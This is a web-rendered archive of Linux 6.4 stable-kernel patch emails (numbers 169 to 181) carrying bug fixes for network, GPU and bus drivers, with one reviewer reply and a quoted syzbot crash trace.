@@ -1300,6 +1301,7 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spe fltr->ip_mask.v4_addrs.dst_ip = fsp->m_u.ah_ip4_spec.ip4dst; fltr->ip_mask.spi = fsp->m_u.ah_ip4_spec.spi; fltr->ip_mask.tos = fsp->m_u.ah_ip4_spec.tos; + fltr->ip_ver =4 ;break ;case IPV4_USER_FLOW : fltr->ip_data.v4_addrs.src_ip = fsp->h_u.usr_ip4_spec.ip4src;
@@ -1312,6 +1314,7 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spe fltr->ip_mask.l4_header = fsp->m_u.usr_ip4_spec.l4_4_bytes; fltr->ip_mask.tos = fsp->m_u.usr_ip4_spec.tos; fltr->ip_mask.proto = fsp->m_u.usr_ip4_spec.proto; + fltr->ip_ver =4 ;break ;case TCP_V6_FLOW :case UDP_V6_FLOW :
@@ -1330,6 +1333,7 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spe fltr->ip_mask.src_port = fsp->m_u.tcp_ip6_spec.psrc; fltr->ip_mask.dst_port = fsp->m_u.tcp_ip6_spec.pdst; fltr->ip_mask.tclass = fsp->m_u.tcp_ip6_spec.tclass; + fltr->ip_ver =6 ;break ;case AH_V6_FLOW :case ESP_V6_FLOW :
@@ -1345,6 +1349,7 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spe sizeof(struct in6_addr)); fltr->ip_mask.spi = fsp->m_u.ah_ip6_spec.spi; fltr->ip_mask.tclass = fsp->m_u.ah_ip6_spec.tclass; + fltr->ip_ver =6 ;break ;case IPV6_USER_FLOW : memcpy(&fltr->ip_data.v6_addrs.src_ip, fsp->h_u.usr_ip6_spec.ip6src,
@@ -1361,6 +1366,7 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spe fltr->ip_mask.l4_header = fsp->m_u.usr_ip6_spec.l4_4_bytes; fltr->ip_mask.tclass = fsp->m_u.usr_ip6_spec.tclass; fltr->ip_mask.proto = fsp->m_u.usr_ip6_spec.l4_proto; + fltr->ip_ver =6 ;break ;case ETHER_FLOW : fltr->eth_data.etype = fsp->h_u.ether_spec.h_proto;
@@ -1371,6 +1377,10 @@ iavf_add_fdir_fltr_info(struct iavf_adapter *adapter, struct ethtool_rx_flow_spereturn -EINVAL ; } + err =iavf_validate_fdir_fltr_masks (adapter, fltr); +if (err) +return err; +if (iavf_fdir_is_dup_fltr (adapter, fltr))return -EEXIST ;
drivers/net/ethernet/intel/iavf/iavf_fdir.c +73 -4
95 lines not on this page · raw message
drivers/net/ethernet/intel/iavf/iavf_fdir.h +2 -0
@@ -110,6 +110,8 @@ struct iavf_fdir_fltr {struct virtchnl_fdir_add vc_add_msg; }; +int iavf_validate_fdir_fltr_masks (struct iavf_adapter *adapter, +struct iavf_fdir_fltr *fltr);int iavf_fill_fdir_add_msg (struct iavf_adapter *adapter,struct iavf_fdir_fltr *fltr);void iavf_print_fdir_fltr (struct iavf_adapter *adapter,struct iavf_fdir_fltr *fltr);bool iavf_fdir_is_dup_fltr (struct iavf_adapter *adapter,struct iavf_fdir_fltr *fltr);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 169/234 i40e: fix misleading debug logs
In reply to Greg Kroah-HartmanFrom: Andrii Staikov <[email protected]>
[ Upstream commit 2f2beb8874cb0844e84ad26e990f05f4f13ff63f ]
Change "write" into the actual "read" word.
Change parameters description.
--- drivers/net/ethernet/intel/i40e/i40e_nvm.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-)
drivers/net/ethernet/intel/i40e/i40e_nvm.c +8 -8
@@ -210,11 +210,11 @@ static int i40e_read_nvm_word_srctl(struct i40e_hw *hw, u16 offset,* @hw: pointer to the HW structure. * @module_pointer: module pointer location in words from the NVM beginning * @offset: offset in words from module start -* @words: number of words to write -* @data: buffer with words to write to the Shadow RAM +* @words: number of words to read +* @data: buffer with words to read to the Shadow RAM * @last_command: tells the AdminQ that this is the last command * -* Writes a 16 bit words buffer to the Shadow RAM using the admin command. +* Reads a 16 bit words buffer to the Shadow RAM using the admin command. **/ static int i40e_read_nvm_aq(struct i40e_hw *hw, u8 module_pointer, u32 offset,
@@ -234,18 +234,18 @@ static int i40e_read_nvm_aq(struct i40e_hw *hw,*/ if ((offset + words) > hw->nvm.sr_size)i40e_debug (hw,I40E_DEBUG_NVM , -"NVM write error: offset %d beyond Shadow RAM limit %d\n" , +"NVM read error: offset %d beyond Shadow RAM limit %d\n" , (offset + words), hw->nvm.sr_size);else if (words >I40E_SR_SECTOR_SIZE_IN_WORDS ) -/* We can write only up to 4KB (one sector), in one AQ write */ +/* We can read only up to 4KB (one sector), in one AQ write */ i40e_debug (hw,I40E_DEBUG_NVM , -"NVM write fail error: tried to write %d words, limit is %d.\n" , +"NVM read fail error: tried to read %d words, limit is %d.\n" , words,I40E_SR_SECTOR_SIZE_IN_WORDS );else if (((offset + (words -1 )) /I40E_SR_SECTOR_SIZE_IN_WORDS ) != (offset /I40E_SR_SECTOR_SIZE_IN_WORDS )) -/* A single write cannot spread over two sectors */ +/* A single read cannot spread over two sectors */ i40e_debug (hw,I40E_DEBUG_NVM , -"NVM write error: cannot spread over two sectors in a single write offset=%d words=%d\n" , +"NVM read error: cannot spread over two sectors in a single read offset=%d words=%d\n" , offset, words);else ret_code = i40e_aq_read_nvm(hw, module_pointer,
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 170/234 net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT
In reply to Greg Kroah-HartmanFrom: Dragos Tatulea <[email protected]>
[ Upstream commit 34a79876d9f77e971115236bcf7b5d14a8ecf542 ]
Before this fix, running high rate traffic through XDP_REDIRECT with multibuf could overrun the fifo used to release the xdp frames after tx completion. This resulted in corrupted data being consumed on the free side.
The culplirt was a miscalculation of the fifo size: the maximum ratio between fifo entries / data segments was incorrect. This ratio serves to calculate the max fifo size for a full sq where each packet uses the worst case number of entries in the fifo.
This patch fixes the formula and names the constant. It also makes sure that future values will use a power of 2 number of entries for the fifo mask to work.
--- drivers/net/ethernet/mellanox/mlx5/core/en/xdp.h | 2 ++ drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 8 +++++--- 2 files changed, 7 insertions(+), 3 deletions(-)
drivers/net/ethernet/mellanox/mlx5/core/en/xdp.h +2 -0
@@ -84,6 +84,8 @@ enum mlx5e_xdp_xmit_mode {* MLX5E_XDP_XMIT_MODE_XSK: * none. */ +#define MLX5E_XDP_FIFO_ENTRIES2DS_MAX_RATIO 4 +union mlx5e_xdp_info {enum mlx5e_xdp_xmit_mode mode;union {
drivers/net/ethernet/mellanox/mlx5/core/en_main.c +5 -3
@@ -1298,11 +1298,13 @@ static int mlx5e_alloc_xdpsq_fifo(struct mlx5e_xdpsq *sq, int numa) {struct mlx5e_xdp_info_fifo *xdpi_fifo = &sq->db.xdpi_fifo;int wq_sz =mlx5_wq_cyc_get_size (&sq->wq); -int entries = wq_sz *MLX5_SEND_WQEBB_NUM_DS *2 ;/* upper bound for maximum num of -* entries of all xmit_modes. -*/ +int entries;size_t size; +/* upper bound for maximum num of entries of all xmit_modes. */ + entries =roundup_pow_of_two (wq_sz *MLX5_SEND_WQEBB_NUM_DS * +MLX5E_XDP_FIFO_ENTRIES2DS_MAX_RATIO ); + size =array_size (sizeof (*xdpi_fifo->xi), entries); xdpi_fifo->xi =kvzalloc_node (size,GFP_KERNEL , numa);if (!xdpi_fifo->xi)
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 171/234 drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create
In reply to Greg Kroah-HartmanFrom: Karol Herbst <[email protected]>
[ Upstream commit 1b254b791d7b7dea6e8adc887fbbd51746d8bb27 ]
We can't simply free the connector after calling drm_connector_init on it. We need to clean up the drm side first.
It might not fix all regressions from commit 2b5d1c29f6c4 ("drm/nouveau/disp: PIOR DP uses GPIO for HPD, not PMGR AUX interrupts"), but at least it fixes a memory corruption in error handling related to that commit.
--- drivers/gpu/drm/nouveau/nouveau_connector.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-)
drivers/gpu/drm/nouveau/nouveau_connector.c +7 -4
@@ -1408,8 +1408,7 @@ nouveau_connector_create(struct drm_device *dev, ret =nvif_conn_ctor (&disp->disp, nv_connector->base.name, nv_connector->index, &nv_connector->conn);if (ret) { -kfree (nv_connector); -return ERR_PTR (ret); + goto drm_conn_err; } ret = nvif_conn_event_ctor(&nv_connector->conn, "kmsHotplug",
@@ -1426,8 +1425,7 @@ nouveau_connector_create(struct drm_device *dev,if (ret) {nvif_event_dtor (&nv_connector->hpd);nvif_conn_dtor (&nv_connector->conn); -kfree (nv_connector); -return ERR_PTR (ret); + goto drm_conn_err; } } }
@@ -1475,4 +1473,9 @@ nouveau_connector_create(struct drm_device *dev,drm_connector_register (connector);return connector; + +drm_conn_err: +drm_connector_cleanup (connector); +kfree (nv_connector); +return ERR_PTR (ret); }
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 172/234 net: dsa: mv88e6xxx: Wait for EEPROM done before HW reset
In reply to Greg Kroah-HartmanFrom: Alfred Lee <[email protected]>
[ Upstream commit 23d775f12dcd23d052a4927195f15e970e27ab26 ]
If the switch is reset during active EEPROM transactions, as in just after an SoC reset after power up, the I2C bus transaction may be cut short leaving the EEPROM internal I2C state machine in the wrong state. When the switch is reset again, the bad state machine state may result in data being read from the wrong memory location causing the switch to enter unexpected mode rendering it inoperational.
--- drivers/net/dsa/mv88e6xxx/chip.c | 8 ++++++++ 1 file changed, 8 insertions(+)
drivers/net/dsa/mv88e6xxx/chip.c +8 -0
@@ -3006,6 +3006,14 @@ static void mv88e6xxx_hardware_reset(struct mv88e6xxx_chip *chip)/* If there is a GPIO connected to the reset pin, toggle it */ if (gpiod) { +/* If the switch has just been reset and not yet completed +* loading EEPROM, the reset may interrupt the I2C transaction +* mid-byte, causing the first EEPROM read after the reset +* from the wrong location resulting in the switch booting +* to wrong mode and inoperable. +*/ +mv88e6xxx_g1_wait_eeprom_done (chip); +gpiod_set_value_cansleep (gpiod,1 );usleep_range (10000 ,20000 );gpiod_set_value_cansleep (gpiod,0 );
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 173/234 sfc: add fallback action-set-lists for TC offload
In reply to Greg Kroah-HartmanFrom: Edward Cree <[email protected]>
[ Upstream commit e16ca7fb9ffb0d51ddf01e450a1043ea65b5be3f ]
When offloading a TC encap action, the action information for the
hardware might not be "ready": if there's currently no neighbour entry available for the destination address, we can't construct the Ethernet header to prepend to the packet. In this case, we still offload the flow rule, but with its action-set-list ID pointing at a "fallback" action which simply delivers the packet to its default destination (as though no flow rule had matched), thus allowing software TC to handle it. Later, when we receive a neighbouring update that allows us to construct the encap header, the rule will become "ready" and we will update its action-set-list ID in hardware to point at the actual offloaded actions.
This patch sets up these fallback ASLs, but does not yet use them.
Stable-dep-of: fa165e194997 ("sfc: don't unregister flow_indr if it was never registered")
--- drivers/net/ethernet/sfc/tc.c | 68 +++++++++++++++++++++++++++++++++++ drivers/net/ethernet/sfc/tc.h | 9 +++++ 2 files changed, 77 insertions(+)
drivers/net/ethernet/sfc/tc.c +68 -0
@@ -1310,6 +1310,58 @@ void efx_tc_deconfigure_default_rule(struct efx_nic *efx, rule->fw_id =MC_CMD_MAE_ACTION_RULE_INSERT_OUT_ACTION_RULE_ID_NULL ; } +static int efx_tc_configure_fallback_acts (struct efx_nic *efx,u32 eg_port, +struct efx_tc_action_set_list *acts) +{ +struct efx_tc_action_set *act; +int rc; + + act =kzalloc (sizeof (*act),GFP_KERNEL ); +if (!act) +return -ENOMEM ; + act->deliver =1 ; + act->dest_mport = eg_port; + rc =efx_mae_alloc_action_set (efx, act); +if (rc) + goto fail1; +EFX_WARN_ON_PARANOID (!list_empty (&acts->list)); +list_add_tail (&act->list, &acts->list); + rc =efx_mae_alloc_action_set_list (efx, acts); +if (rc) + goto fail2; +return 0 ; +fail2: +list_del (&act->list); +efx_mae_free_action_set (efx, act->fw_id); +fail1: +kfree (act); +return rc; +} + +static int efx_tc_configure_fallback_acts_pf (struct efx_nic *efx) +{ +struct efx_tc_action_set_list *acts = &efx->tc->facts.pf; +u32 eg_port; + +efx_mae_mport_uplink (efx, &eg_port); +return efx_tc_configure_fallback_acts (efx, eg_port, acts); +} + +static int efx_tc_configure_fallback_acts_reps (struct efx_nic *efx) +{ +struct efx_tc_action_set_list *acts = &efx->tc->facts.reps; +u32 eg_port; + +efx_mae_mport_mport (efx, efx->tc->reps_mport_id, &eg_port); +return efx_tc_configure_fallback_acts (efx, eg_port, acts); +} + +static void efx_tc_deconfigure_fallback_acts (struct efx_nic *efx, +struct efx_tc_action_set_list *acts) +{ +efx_tc_free_action_set_list (efx, acts, true); +} +static int efx_tc_configure_rep_mport (struct efx_nic *efx) {u32 rep_mport_label;
@@ -1400,6 +1452,12 @@ int efx_init_tc(struct efx_nic *efx)if (rc)return rc; rc =efx_tc_configure_rep_mport (efx); +if (rc) +return rc; + rc =efx_tc_configure_fallback_acts_pf (efx); +if (rc) +return rc; + rc =efx_tc_configure_fallback_acts_reps (efx);if (rc)return rc; efx->tc->up = true;
@@ -1419,6 +1477,8 @@ void efx_fini_tc(struct efx_nic *efx)efx_tc_deconfigure_rep_mport (efx);efx_tc_deconfigure_default_rule (efx, &efx->tc->dflt.pf);efx_tc_deconfigure_default_rule (efx, &efx->tc->dflt.wire); +efx_tc_deconfigure_fallback_acts (efx, &efx->tc->facts.pf); +efx_tc_deconfigure_fallback_acts (efx, &efx->tc->facts.reps); efx->tc->up = false; }
@@ -1483,6 +1543,10 @@ int efx_init_struct_tc(struct efx_nic *efx) efx->tc->dflt.pf.fw_id =MC_CMD_MAE_ACTION_RULE_INSERT_OUT_ACTION_RULE_ID_NULL ;INIT_LIST_HEAD (&efx->tc->dflt.wire.acts.list); efx->tc->dflt.wire.fw_id =MC_CMD_MAE_ACTION_RULE_INSERT_OUT_ACTION_RULE_ID_NULL ; +INIT_LIST_HEAD (&efx->tc->facts.pf.list); + efx->tc->facts.pf.fw_id =MC_CMD_MAE_ACTION_SET_ALLOC_OUT_ACTION_SET_ID_NULL ; +INIT_LIST_HEAD (&efx->tc->facts.reps.list); + efx->tc->facts.reps.fw_id =MC_CMD_MAE_ACTION_SET_ALLOC_OUT_ACTION_SET_ID_NULL ; efx->extra_channel_type[EFX_EXTRA_CHANNEL_TC ] = &efx_tc_channel_type;return 0 ; fail_match_action_ht:
@@ -1508,6 +1572,10 @@ void efx_fini_struct_tc(struct efx_nic *efx) MC_CMD_MAE_ACTION_RULE_INSERT_OUT_ACTION_RULE_ID_NULL);EFX_WARN_ON_PARANOID (efx->tc->dflt.wire.fw_id !=MC_CMD_MAE_ACTION_RULE_INSERT_OUT_ACTION_RULE_ID_NULL ); +EFX_WARN_ON_PARANOID (efx->tc->facts.pf.fw_id != +MC_CMD_MAE_ACTION_SET_LIST_ALLOC_OUT_ACTION_SET_LIST_ID_NULL ); +EFX_WARN_ON_PARANOID (efx->tc->facts.reps.fw_id != +MC_CMD_MAE_ACTION_SET_LIST_ALLOC_OUT_ACTION_SET_LIST_ID_NULL );rhashtable_free_and_destroy (&efx->tc->match_action_ht, efx_tc_flow_free, efx); rhashtable_free_and_destroy(&efx->tc->encap_match_ht,
drivers/net/ethernet/sfc/tc.h +9 -0
@@ -133,6 +133,11 @@ enum efx_tc_rule_prios {* %EFX_TC_PRIO_DFLT. Named by *ingress* port * @dflt.pf: rule for traffic ingressing from PF (egresses to wire) * @dflt.wire: rule for traffic ingressing from wire (egresses to PF) +* @facts: Fallback action-set-lists for unready rules. Named by *egress* port +* @facts.pf: action-set-list for unready rules on PF netdev, hence applying to +* traffic from wire, and egressing to PF +* @facts.reps: action-set-list for unready rules on representors, hence +* applying to traffic from representees, and egressing to the reps mport * @up: have TC datastructures been set up? */ struct efx_tc_state {
@@ -153,6 +158,10 @@ struct efx_tc_state {struct efx_tc_flow_rule pf;struct efx_tc_flow_rule wire; } dflt; +struct { +struct efx_tc_action_set_list pf; +struct efx_tc_action_set_list reps; + } facts;bool up; };
Signature · 1 line
2.40.1
Re: [PATCH 6.4 173/234] sfc: add fallback action-set-lists for TC offload
Quoted 17 lines · Greg Kroah-Hartman
From: Edward Cree <[email protected]>
[ Upstream commit
e16ca7fb9ffb0d51ddf01e450a1043ea65b5be3f]When offloading a TC encap action, the action information for the
hardware might not be "ready": if there's currently no neighbour entry available for the destination address, we can't construct the Ethernet header to prepend to the packet. In this case, we still offload the flow rule, but with its action-set-list ID pointing at a "fallback" action which simply delivers the packet to its default destination (as though no flow rule had matched), thus allowing software TC to handle it. Later, when we receive a neighbouring update that allows us to construct the encap header, the rule will become "ready" and we will update its action-set-list ID in hardware to point at the actual offloaded actions.
This patch sets up these fallback ASLs, but does not yet use them.
Quoted 5 lines
Reviewed-by Pieter Jansen van Vuuren <[email protected]>Signed-off-by Edward Cree <[email protected]>Reviewed-by Simon Horman <[email protected]>Signed-off-by Jakub Kicinski <[email protected]>Stable-dep-of:
fa165e194997("sfc: don't unregisterflow_indrif it was never registered")
I don't think this is actually needed by that commit; it's textually
part of the context but not semantically important to it.
Why can't you do the same thing you did for 6.1?
-ed
Quoted 1 line
Signed-off-by Sasha Levin <[email protected]>
Greg Kroah-Hartman
maintainerPATCH 174/234 sfc: dont unregister flow_indr if it was never registered
In reply to Greg Kroah-HartmanFrom: Edward Cree <[email protected]>
[ Upstream commit fa165e1949976704500a442faeef8d9596faee76 ]
In efx_init_tc(), move the setting of efx->tc->up after the
flow_indr_dev_register() call, so that if it fails, efx_fini_tc() won't call flow_indr_dev_unregister().
--- drivers/net/ethernet/sfc/tc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/ethernet/sfc/tc.c +1 -1
@@ -1460,10 +1460,10 @@ int efx_init_tc(struct efx_nic *efx) rc =efx_tc_configure_fallback_acts_reps (efx);if (rc)return rc; - efx->tc->up = true; rc =flow_indr_dev_register (efx_tc_indr_setup_cb, efx);if (rc)return rc; + efx->tc->up = true;return 0 ; }
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 175/234 sfc: dont fail probe if MAE/TC setup fails
In reply to Greg Kroah-HartmanFrom: Edward Cree <[email protected]>
[ Upstream commit 54c9016eb8eda55952a195b071359cd13f50ed9b ]
Existing comment in the source explains why we don't want efx_init_tc()
failure to be fatal. Cited commit erroneously consolidated failure paths causing the probe to be failed in this case.
--- drivers/net/ethernet/sfc/ef100_nic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/ethernet/sfc/ef100_nic.c +1 -1
@@ -1194,7 +1194,7 @@ int ef100_probe_netdev_pf(struct efx_nic *efx) net_dev->features |=NETIF_F_HW_TC ; efx->fixed_features |=NETIF_F_HW_TC ; } -return rc; +return 0 ; }int ef100_probe_vf (struct efx_nic *efx)
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 176/234 sock: Fix misuse of sk_under_memory_pressure()
In reply to Greg Kroah-HartmanFrom: Abel Wu <[email protected]>
[ Upstream commit 2d0c88e84e483982067a82073f6125490ddf3614 ]
The status of global socket memory pressure is updated when:
a) __sk_mem_raise_allocated():
enter: sk_memory_allocated(sk) > sysctl_mem[1]
leave: sk_memory_allocated(sk) <= sysctl_mem[0]
b) __sk_mem_reduce_allocated():
leave: sk_under_memory_pressure(sk) && sk_memory_allocated(sk) < sysctl_mem[0]
So the conditions of leaving global pressure are inconstant, which may lead to the situation that one pressured net-memcg prevents the global pressure from being cleared when there is indeed no global pressure, thus the global constrains are still in effect unexpectedly on the other sockets.
This patch fixes this by ignoring the net-memcg's pressure when deciding whether should leave global memory pressure.
--- include/net/sock.h | 6 ++++++ net/core/sock.c | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-)
include/net/sock.h +6 -0
@@ -1421,6 +1421,12 @@ static inline bool sk_has_memory_pressure(const struct sock *sk)return sk->sk_prot->memory_pressure !=NULL ; } +static inline bool sk_under_global_memory_pressure (const struct sock *sk) +{ +return sk->sk_prot->memory_pressure && + !!*sk->sk_prot->memory_pressure; +} +static inline bool sk_under_memory_pressure (const struct sock *sk) {if (!sk->sk_prot->memory_pressure)
net/core/sock.c +1 -1
@@ -3107,7 +3107,7 @@ void __sk_mem_reduce_allocated(struct sock *sk, int amount)if (mem_cgroup_sockets_enabled && sk->sk_memcg)mem_cgroup_uncharge_skmem (sk->sk_memcg, amount); -if (sk_under_memory_pressure (sk) && +if (sk_under_global_memory_pressure (sk) && (sk_memory_allocated (sk) <sk_prot_mem_limits (sk,0 )))sk_leave_memory_pressure (sk); }
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 177/234 net: do not allow gso_size to be set to GSO_BY_FRAGS
In reply to Greg Kroah-HartmanFrom: Eric Dumazet <[email protected]>
[ Upstream commit b616be6b97688f2f2bd7c4a47ab32f27f94fb2a9 ]
One missing check in virtio_net_hdr_to_skb() allowed syzbot to crash kernels again [1]
Do not allow gso_size to be set to GSO_BY_FRAGS (0xffff), because this magic value is used by the kernel.
[1]
general protection fault, probably for non-canonical address 0xdffffc000000000e: 0000 [#1] PREEMPT SMP KASAN KASAN: null-ptr-deref in range [0x0000000000000070-0x0000000000000077] CPU: 0 PID: 5039 Comm: syz-executor401 Not tainted 6.5.0-rc5-next-20230809-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/26/2023 RIP: 0010:skb_segment+0x1a52/0x3ef0 net/core/skbuff.c:4500 Code: 00 00 00 e9 ab eb ff ff e8 6b 96 5d f9 48 8b 84 24 00 01 00 00 48 8d 78 70 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 08 3c 03 0f 8e ea 21 00 00 48 8b 84 24 00 01 RSP: 0018:ffffc90003d3f1c8 EFLAGS: 00010202 RAX: dffffc0000000000 RBX: 000000000001fffe RCX: 0000000000000000 RDX: 000000000000000e RSI: ffffffff882a3115 RDI: 0000000000000070 RBP: ffffc90003d3f378 R08: 0000000000000005 R09: 000000000000ffff R10: 000000000000ffff R11: 5ee4a93e456187d6 R12: 000000000001ffc6 R13: dffffc0000000000 R14: 0000000000000008 R15: 000000000000ffff FS: 00005555563f2380(0000) GS:ffff8880b9800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020020000 CR3: 000000001626d000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> udp6_ufo_fragment+0x9d2/0xd50 net/ipv6/udp_offload.c:109 ipv6_gso_segment+0x5c4/0x17b0 net/ipv6/ip6_offload.c:120 skb_mac_gso_segment+0x292/0x610 net/core/gso.c:53 __skb_gso_segment+0x339/0x710 net/core/gso.c:124 skb_gso_segment include/net/gso.h:83 [inline] validate_xmit_skb+0x3a5/0xf10 net/core/dev.c:3625 __dev_queue_xmit+0x8f0/0x3d60 net/core/dev.c:4329 dev_queue_xmit include/linux/netdevice.h:3082 [inline] packet_xmit+0x257/0x380 net/packet/af_packet.c:276 packet_snd net/packet/af_packet.c:3087 [inline] packet_sendmsg+0x24c7/0x5570 net/packet/af_packet.c:3119 sock_sendmsg_nosec net/socket.c:727 [inline] sock_sendmsg+0xd9/0x180 net/socket.c:750 ____sys_sendmsg+0x6ac/0x940 net/socket.c:2496 ___sys_sendmsg+0x135/0x1d0 net/socket.c:2550 __sys_sendmsg+0x117/0x1e0 net/socket.c:2579 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x38/0xb0 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x63/0xcd RIP: 0033:0x7ff27cdb34d9
--- include/linux/virtio_net.h | 4 ++++ 1 file changed, 4 insertions(+)
include/linux/virtio_net.h +4 -0
@@ -155,6 +155,10 @@ static inline int virtio_net_hdr_to_skb(struct sk_buff *skb,if (gso_type &SKB_GSO_UDP ) nh_off -= thlen; +/* Kernel has a special handling for GSO_BY_FRAGS. */ +if (gso_size ==GSO_BY_FRAGS ) +return -EINVAL ; +/* Too small packets are not really GSO ones. */ if (skb->len - nh_off > gso_size) { shinfo->gso_size = gso_size;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 178/234 qede: fix firmware halt over suspend and resume
In reply to Greg Kroah-HartmanFrom: Manish Chopra <[email protected]>
[ Upstream commit 2eb9625a3a32251ecea470cd576659a3a03b4e59 ]
While performing certain power-off sequences, PCI drivers are called to suspend and resume their underlying devices through PCI PM (power management) interface. However this NIC hardware does not support PCI PM suspend/resume operations so system wide suspend/resume leads to bad MFW (management firmware) state which causes various follow-up errors in driver when communicating with the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate unsupported operation to the PCI subsystem explicitly, thus avoiding system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system is power cycled.
--- drivers/net/ethernet/qlogic/qede/qede_main.c | 10 ++++++++++ 1 file changed, 10 insertions(+)
drivers/net/ethernet/qlogic/qede/qede_main.c +10 -0
@@ -176,6 +176,15 @@ static int qede_sriov_configure(struct pci_dev *pdev, int num_vfs_param) }#endif +static int __maybe_unused qede_suspend (struct device *dev) +{ +dev_info (dev,"Device does not support suspend operation\n" ); + +return -EOPNOTSUPP ; +} + +static DEFINE_SIMPLE_DEV_PM_OPS(qede_pm_ops, qede_suspend, NULL); +static const struct pci_error_handlers qede_err_handler = { .error_detected = qede_io_error_detected, };
@@ -190,6 +199,7 @@ static struct pci_driver qede_pci_driver = { .sriov_configure = qede_sriov_configure, #endif .err_handler = &qede_err_handler, + .driver.pm = &qede_pm_ops, }; static struct qed_eth_cb_ops qede_ll_ops = {
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 179/234 ice: Block switchdev mode when ADQ is active and vice versa
In reply to Greg Kroah-HartmanFrom: Marcin Szycik <[email protected]>
[ Upstream commit 43d00e102d9ecbe2635d7e3f2e14d2e90183d6af ]
ADQ and switchdev are not supported simultaneously. Enabling both at the same time can result in nullptr dereference.
To prevent this, check if ADQ is active when changing devlink mode to switchdev mode, and check if switchdev is active when enabling ADQ.
--- drivers/net/ethernet/intel/ice/ice_eswitch.c | 6 ++++++ drivers/net/ethernet/intel/ice/ice_main.c | 5 +++++ 2 files changed, 11 insertions(+)
drivers/net/ethernet/intel/ice/ice_eswitch.c +6 -0
@@ -568,6 +568,12 @@ ice_eswitch_mode_set(struct devlink *devlink, u16 mode,break ;case DEVLINK_ESWITCH_MODE_SWITCHDEV : { +if (ice_is_adq_active (pf)) { +dev_err (ice_pf_to_dev (pf),"Couldn't change eswitch mode to switchdev - ADQ is active. Delete ADQ configs and try again, e.g. tc qdisc del dev $PF root" ); +NL_SET_ERR_MSG_MOD (extack,"Couldn't change eswitch mode to switchdev - ADQ is active. Delete ADQ configs and try again, e.g. tc qdisc del dev $PF root" ); +return -EOPNOTSUPP ; + } +dev_info (ice_pf_to_dev (pf),"PF %d changed eswitch mode to switchdev" , pf->hw.pf_id);NL_SET_ERR_MSG_MOD (extack,"Changed eswitch mode to switchdev" );
drivers/net/ethernet/intel/ice/ice_main.c +5 -0
@@ -9065,6 +9065,11 @@ ice_setup_tc(struct net_device *netdev, enum tc_setup_type type, ice_setup_tc_block_cb, np, np, true);case TC_SETUP_QDISC_MQPRIO : +if (ice_is_eswitch_mode_switchdev (pf)) { +netdev_err (netdev,"TC MQPRIO offload not supported, switchdev is enabled\n" ); +return -EOPNOTSUPP ; + } +if (pf->adev) {mutex_lock (&pf->adev_mutex);device_lock (&pf->adev->dev);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 180/234 bus: ti-sysc: Flush posted write on enable before reset
In reply to Greg Kroah-HartmanFrom: Tony Lindgren <[email protected]>
[ Upstream commit 34539b442b3bc7d5bf10164750302b60b91f18a7 ]
The am335x devices started producing boot errors for resetting musb module in because of subtle timing changes:
Unhandled fault: external abort on non-linefetch (0x1008)
...sysc_poll_reset_sysconfig from sysc_reset+0x109/0x12 sysc_reset from sysc_probe+0xa99/0xeb0
...
The fix is to flush posted write after enable before reset during probe. Note that some devices also need to specify the delay after enable with ti,sysc-delay-us, but this is not needed for musb on am335x based on my tests.
--- drivers/bus/ti-sysc.c | 2 ++ 1 file changed, 2 insertions(+)
drivers/bus/ti-sysc.c +2 -0
@@ -2142,6 +2142,8 @@ static int sysc_reset(struct sysc *ddata) sysc_val =sysc_read_sysconfig (ddata); sysc_val |= sysc_mask;sysc_write (ddata, sysc_offset, sysc_val); +/* Flush posted write */ + sysc_val =sysc_read_sysconfig (ddata); }if (ddata->cfg.srst_udelay)
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 181/234 arm64: dts: qcom: qrb5165-rb5: fix thermal zone conflict
In reply to Greg Kroah-HartmanFrom: Dmitry Baryshkov <[email protected]>
[ Upstream commit 798f1df86e5709b7b6aedf493cc04c7fedbf544a ]
The commit 3a786086c6f8 ("arm64: dts: qcom: Add missing "-thermal" suffix for thermal zones") renamed the thermal zone in the pm8150l.dtsi file to comply with the schema. However this resulted in a clash with the RB5 board file, which already contained the pm8150l-thermal zone for the on-board sensor. This resulted in the board file definition overriding the thermal zone defined in the PMIC include file (and thus the on-die PMIC temp alarm was not probing at all).
